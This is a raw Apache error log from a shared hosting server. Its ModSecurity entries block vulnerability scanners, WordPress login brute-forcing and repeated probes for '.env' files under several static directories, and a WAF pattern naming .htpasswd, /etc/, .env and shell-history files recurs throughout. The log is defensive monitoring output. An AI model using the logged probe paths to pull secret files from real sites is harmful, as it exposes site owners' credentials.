https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:18:23.416691 2026] [security2:error] [pid 648189:tid 648428] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/static-collected/.env"] [unique_id "ai3zT1WSojQL4F7upKBuQgAAAM8"] [Sat Jun 13 18:18:23.530091 2026] [security2:error] [pid 648189:tid 648239] [remote 17.241.75.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zT1WSojQL4F7upKBuTwAA0hI"] [Sat Jun 13 18:18:23.554569 2026] [security2:error] [pid 648189:tid 648478] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/static-html/.env"] [unique_id "ai3zT1WSojQL4F7upKBuUwAAAPw"] [Sat Jun 13 18:18:23.572376 2026] [access_compat:error] [pid 646876:tid 647003] [remote 57.141.14.73:26392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:23.573429 2026] [access_compat:error] [pid 646876:tid 647003] [remote 57.141.14.73:26392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:23.599182 2026] [security2:error] [pid 646876:tid 647003] [remote 210.211.99.176:45286] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "energymeteringtechnology.com"] [uri "/wp-login.php"] [unique_id "ai3zT9yTkdrNlD40tSG1OQAAHnw"] [Sat Jun 13 18:18:23.666405 2026] [security2:error] [pid 648189:tid 648305] [remote 17.22.245.76:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zT1WSojQL4F7upKBuWAAAl1M"] [Sat Jun 13 18:18:23.691379 2026] [security2:error] [pid 648189:tid 648376] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/static-root/.env"] [unique_id "ai3zT1WSojQL4F7upKBuWwAAAJw"] [Sat Jun 13 18:18:23.699587 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.30:27120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:23.699874 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.30:27120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:23.705821 2026] [security2:error] [pid 648189:tid 648366] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/reflection/tests/parameters_001.phpt"] [unique_id "ai3zT1WSojQL4F7upKBuXwAAAJI"] [Sat Jun 13 18:18:23.712613 2026] [security2:error] [pid 648189:tid 648339] [remote 17.246.23.203:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 203.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zT1WSojQL4F7upKBuYAAAlHQ"] [Sat Jun 13 18:18:23.748273 2026] [access_compat:error] [pid 648189:tid 648273] [remote 57.141.14.96:54733] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:23.748539 2026] [access_compat:error] [pid 648189:tid 648273] [remote 57.141.14.96:54733] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:23.828250 2026] [security2:error] [pid 648189:tid 648461] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/static/.env"] [unique_id "ai3zT1WSojQL4F7upKBuZwAAAOs"] [Sat Jun 13 18:18:23.921281 2026] [access_compat:error] [pid 648189:tid 648338] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:23.921757 2026] [access_compat:error] [pid 648189:tid 648338] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:23.941744 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:18:23.942223 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:18:24.290614 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.51:21074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:24.291148 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.51:21074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:24.406912 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0MA== [Sat Jun 13 18:18:24.407190 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0MA== [Sat Jun 13 18:18:24.480799 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.88:42424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:24.481068 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.88:42424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:24.799559 2026] [security2:error] [pid 648189:tid 648237] [remote 17.22.245.10:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zUFWSojQL4F7upKBumgAArxA"] [Sat Jun 13 18:18:24.881376 2026] [autoindex:error] [pid 648189:tid 648399] [client 74.176.227.123:59481] AH01276: Cannot serve directory /home2/medredis/public_html/kcdglobal/documents/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:18:24.942577 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:18:24.943034 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:18:24.990913 2026] [security2:error] [pid 648189:tid 648317] [remote 17.22.237.145:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zUFWSojQL4F7upKBupAAAml8"] [Sat Jun 13 18:18:25.021754 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.74:50296] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:25.022248 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.74:50296] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:25.072803 2026] [proxy:error] [pid 646876:tid 647098] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:18:25.072891 2026] [proxy_http:error] [pid 646876:tid 647098] [client 195.96.139.179:38179] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:18:25.073578 2026] [proxy:error] [pid 646876:tid 647098] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:18:25.073630 2026] [proxy_http:error] [pid 646876:tid 647098] [client 195.96.139.179:38179] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:18:25.141462 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.28:50096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:25.141932 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.28:50096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:25.168536 2026] [security2:error] [pid 648189:tid 648280] [remote 17.246.15.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zUVWSojQL4F7upKBurgAAsDo"] [Sat Jun 13 18:18:25.179696 2026] [access_compat:error] [pid 648189:tid 648408] [client 66.249.75.131:52523] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:25.180090 2026] [access_compat:error] [pid 648189:tid 648408] [client 66.249.75.131:52523] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:25.198944 2026] [security2:error] [pid 648189:tid 648274] [remote 17.241.75.104:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 104.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zUVWSojQL4F7upKBuswAAnDQ"] [Sat Jun 13 18:18:25.446480 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:25.446974 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:25.518768 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.111:57834] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:25.519223 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.111:57834] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:25.596171 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.45:34076] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:25.596566 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.45:34076] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:25.921370 2026] [security2:error] [pid 648189:tid 648469] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/static_prod/.env"] [unique_id "ai3zUVWSojQL4F7upKBu2gAAAPM"] [Sat Jun 13 18:18:25.980664 2026] [security2:error] [pid 648189:tid 648310] [remote 17.246.19.42:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zUVWSojQL4F7upKBu2wAAh1g"] [Sat Jun 13 18:18:26.017022 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9wb3dlcg== [Sat Jun 13 18:18:26.017451 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9wb3dlcg== [Sat Jun 13 18:18:26.057246 2026] [security2:error] [pid 648189:tid 648403] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/static_root/.env"] [unique_id "ai3zUlWSojQL4F7upKBu4QAAALc"] [Sat Jun 13 18:18:26.105279 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.111:44850] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:26.105547 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.111:44850] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:26.110441 